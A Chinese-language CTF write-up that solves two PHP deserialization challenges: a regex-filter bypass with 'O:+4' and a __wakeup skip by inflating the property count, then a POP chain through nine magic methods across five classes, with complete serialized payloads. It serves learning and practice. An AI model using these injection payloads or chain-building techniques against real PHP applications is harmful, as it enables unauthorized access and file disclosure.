文章目录
光说不练假把式,做点题,本次是某天的weekly-ctf的两道反序列化
EZ-unserialize
这是一个User类,定义了三个魔术方法,我们上一篇文章介绍了分别在什么时候调用,反序列化重建对象时会调用wakeup函数,在结束时会调用destruct
class User{
function __construct($name,$pass){
$this->name = $name;
$this->pass = $pass;
}
function __wakeup(){
if($this->name!='admin' or $this->pass!=mt_rand()){
$this->name = 'guest';
$this->isAdmin = false;
}
}
function __destruct(){
echo 'Hello'.$this->name;
if(isset($this->isAdmin) and $this->isAdmin===true){
highlight_file('/flag');
}
}
}
isAdmin、name、pass都是通过$this
赋值的动态属性,我们反序列化的值通过属性名:属性值就可以传值
function filter($str){
if (preg_match('/o:\d+/i',$str))
die('Not allow');
return $str;
}
if(!isset($_GET['pop'])){
highlight_file(__file__);
$user = new User('guest','guest');
}else{
echo unserialize(filter($_GET['pop']));
}
第一个函数是正则匹配过滤,只要 o:
后是数字就过滤,这是反序列化字符串的它的固定格式
最后一个就是接收GET方式接收pop参数,没有就新建一个对象,自动调用construct函数,name为guest!参数存在就输出代码执行的结果,先过滤,后反序列化执行代码,思路如下
构造pop参数:序列化的字符串(反序列化会调用wakeup和destruct)
绕过过滤函数
wakeup判断name如果不等于admin或者pass不等于随机整数的值,就将name和isadmin赋值
destruct输出字符串,判断如果isAdmin存在且值为true,就显示flag
如果执行了wakeup函数,那么isAdmin就会重新赋值为false,flag就,所以要进行绕过不执行wakeup,这里新的知识点就是当属性个数大于真实的属性个数就会不执行(PHP5 < 5.6.25、PHP7 < 7.0.10)
payload如下
pop=O:+4:"User":4:{s:4:"name";s:5:"admin";s:7:"isAdmin";b:1;}
我们一共传了两个参数,name=admin,isAdmin=true,属性个数为4,绕过wakeup,isAdmin这里赋值为true,自己new一个对象,true值序列化后得到b:1,同学们不要尝试赋值为字符串true,最后通过加号绕过过滤
pop=O:+4:"User":4:{s:4:"name";s:5:"admin";s:7:"isAdmin";b:1;}
加上一个加号可以正常反序列化,不影响值(所有的绕过都是基于语句可以正常解析),至于为什么是加号,我也不知道
url编码(其实只有加号需要进行编码,因为浏览器会自动将url编码,提前编码防止加号被解析成空格)
pop=O%3A%2B4%3A%22User%22%3A4%3A%7Bs%3A4%3A%22name%22%3Bs%3A5%3A%22admin%22%3Bs%3A7%3A%22isAdmin%22%3Bb%3A1%3B%7D
POP
同样的pop参数,有5个class类,没有过滤函数
边做边看:php面向对象
查看flag相关代码,发现是要将5个类里面的魔法函数全调用个遍
'__wakeup','__destruct','__get','__set','__invoke','__call','__isset','__unset','__toString'
两个问题,一是这些函数什么时候调用,二是多个类调用的写法
简单写一个类,包括这几个魔法函数,前两个说过不再提
__get //获得一个类的成员变量时调用
通过pop传参测试,被调用就输出自己被调用的提示,调用对象a的属性arg1
@$pop = $_GET['pop'];
if(isset($pop)){
$a = new C5;
echo($a->arg1);
}
// private $arg1;开头定义了类的两个属性
// protected $arg2;
__set //设置一个类的成员变量时调用
$a = new C5;
echo($a->arg1=3);
(注:这些都是在浏览器输出结果的截图)
__invoke //把对象当函数调用时调用,据说(我没有测试)需要php大于5.3.0
$a = new C5;
$a();
__call //在对象中调用一个不可访问方法或不存在的方法时调用
$a = new C5;
$a->a();//第一种:不存在a方法
protected function a(){}
$a->a();//第二种:a方法不允许访问 protected和private
__isset //当对不可访问属性调用isset()或empty()时调用
$a = new C5;
//private $arg1;
//protected $arg2;
isset($a->arg1);
empty($a->arg2);
__unset //当在对象外部对类的不可访问属性调用unset()函数时调用,有了__unset魔法函数,所有类型的属性都可以通过__unset删除
$a = new C5;
unset($a->arg1);
__toString //对象被当成字符使用时调用,不止是echo输出
$a = new C5;
echo $a;
这些方法一般是为了将数据放到类内进行操作
回看代码,咱一个个分析
@$pop = $_GET['pop'];
if(isset($pop)){
unserialize($pop);
唯一输入点是pop,存在则反序列化,这里反序列化函数会调用__wakeup
方法,最后调用__destruct
方法
C1类(精简)
class C1{
private $arg1;
private $arg2;
function __wakeup(){
if(empty($this->arg1->arg2))
die('arg1 can not empty'.'<br>');
}
function __destruct(){
if($result==$check)
highlight_file('/flag');
}
}
$arg1
和$arg2
都是私有变量,是无法在类外赋值调用的
php中箭头是调用类的属性和方法的运算符,这个$this->arg1->arg2
写法我不太懂什么意思,开始以为是一种特殊的调用写法
其实解题思路就是将$this->arg1
定义为一个其他类的实例化对象,然后再去调用该类的arg2属性就可以了,构造调用链
在类A中实例化类B,不能直接给类内属性赋值,需要在类的函数内,且需加括号
<?php
class A{
function __construct(){
$arg = new B();
$arg->hello();
}
}
class B{
function hello(){
echo 'success';
}
}
$a = new A;
//success
wakeup进,捋一下顺序(这里只是思路,与实际代码有出入)
1
C1-wakeup //empty访问私有变量arg2调用isset empty($this->arg1->arg2)
$c1->arg1=$C4; //因为是存在于C4中,所以是访问C4的arg2
2
C4-isset $this->$name
// call_user_fun()将第一个参数当作函数调用
$c4->name // 是对象则调用c3-invoke 不可访问函数则调用c3-call
//因为$name没有调用c类的函数的操作(->箭头),所以应该是invoke
$c4->name=$c3;//设置为c3类
3
C3-invoke
invoke--$this->arg1->arg2//获取私有变量,调用c2-get
$c3->arg1=$c2;
4
C2-get echo $this->$name;//(这里后面有解释)
//全文唯一一个echo,tostring没跑
$c2->name=$c5;
5
C5-toString unset($this->arg2->arg1)
//很简单,C4-unset
$c5->arg2=$c4;
6
C4-unset $this->$name->fun($this->arg2)
//剩下的C3-call
$c4->name=$c3;//是否需要参数arg2
7
C3-call $this->arg1->arg2=$name
//不可访问属性赋值 调用C2-set
$c3->arg1=$c2;//是否需要$name?
8
C2-set //到这里就结束了,不需要它调用destruct
9
C1-destruct //判断全部调用后高亮显示flag
把过程中用到的变量定义一下,从C1开始,就序列化C1对象就行
前面说过在类外设置私有属性是不行的,改成public它的序列化后长度又是不同的,所以要在类内直接设置,且序列化后的私有变量,它的类名前后要加上%00,这样反序列化的结果就可以给私有属性赋值
在C4-isset中有一个$this->$name
,这里的意思是如果将$name
赋值为字符a,会获取$a
的值
<?php
class Test{
public $name = "abc";
public $abc = "test";
public function Test(){
$name1 = "name";
echo $this->name; // 输出abc
echo $this->$name1; // 输出abc,因为 $name1 的值是name,相当与这里替换成 echo $this->name;
$name2 = $this->$name1; //$name2 的值是 abc
echo $this->$name2; //输出 test,同上,相当与是echo $this->abc;
}
至此,基本的困惑都解决了,可以开始构造序列化数据
(这里invoke代码抄错,导致我研究了1天发现怎么都构造不出来,希望大家不要犯这种错误)
<?php
class C1{
private $arg1;
function __construct(){
$this->arg1=new C4();//构造
if(empty($this->arg1->arg2))
echo '<br>no<br>';
}
}
class C2{
private $arg2;
function __get($name){
$this->arg2=new C5();
echo $this->$name;
return $this->$name;
}
function __set($name,$value){
echo 'set';
}
}
class C3{
private $arg1;
function __invoke(){
$this->arg1=new C2();
return $this->arg1->arg2;
}
function __call($name,$arguments){
$this->arg1=new C2();
$this->arg1->arg2=$name;
}
}
class C4{
private $arg1;
private $arg2;
function __isset($name){
//传进来的是字符串arg2
$this->arg2= new C3();
call_user_func($this->$name,$this->arg1);
}
function __unset($name){
$this->arg1=new C3();
$this->$name->fun($this->arg2);
}
}
class C5{
private $arg2;
function __toString(){
$this->arg2=new C4();
unset($this->arg2->arg1);
return 'noting';
}
}
$a = new C1;
var_dump(serialize($a));
私有变量类名加%00,最终payload如下
O:2:"C1":1:{s:8:"%00C1%00arg1";O:2:"C4":2:{s:8:"%00C4%00arg1";N;s:8:"%00C4%00arg2";O:2:"C3":1:{s:8:"%00C3%00arg1";O:2:"C2":1:{s:8:"%00C2%00arg2";O:2:"C5":1:{s:8:"%00C5%00arg2";O:2:"C4":2:{s:8:"%00C4%00arg1";O:2:"C3":1:{s:8:"%00C3%00arg1";O:2:"C2":1:{s:8:"%00C2%00arg2";N;}}s:8:"%00C4%00arg2";N;}}}}}}
可以看到9个函数全部调用(报错不影响)
yes!
我反思了一下为什么这里用了这么长时间,回看发现没有什么难点,但是对php类的使用不熟悉,对序列化的一些用法也不熟悉,比如加%00这个,不搜一下永远不会想到,在类内调用其他类的特殊写法也不知道…没有参考答案,只能一点点查,而且很多时候根本不知道哪里有问题,搜都无处下手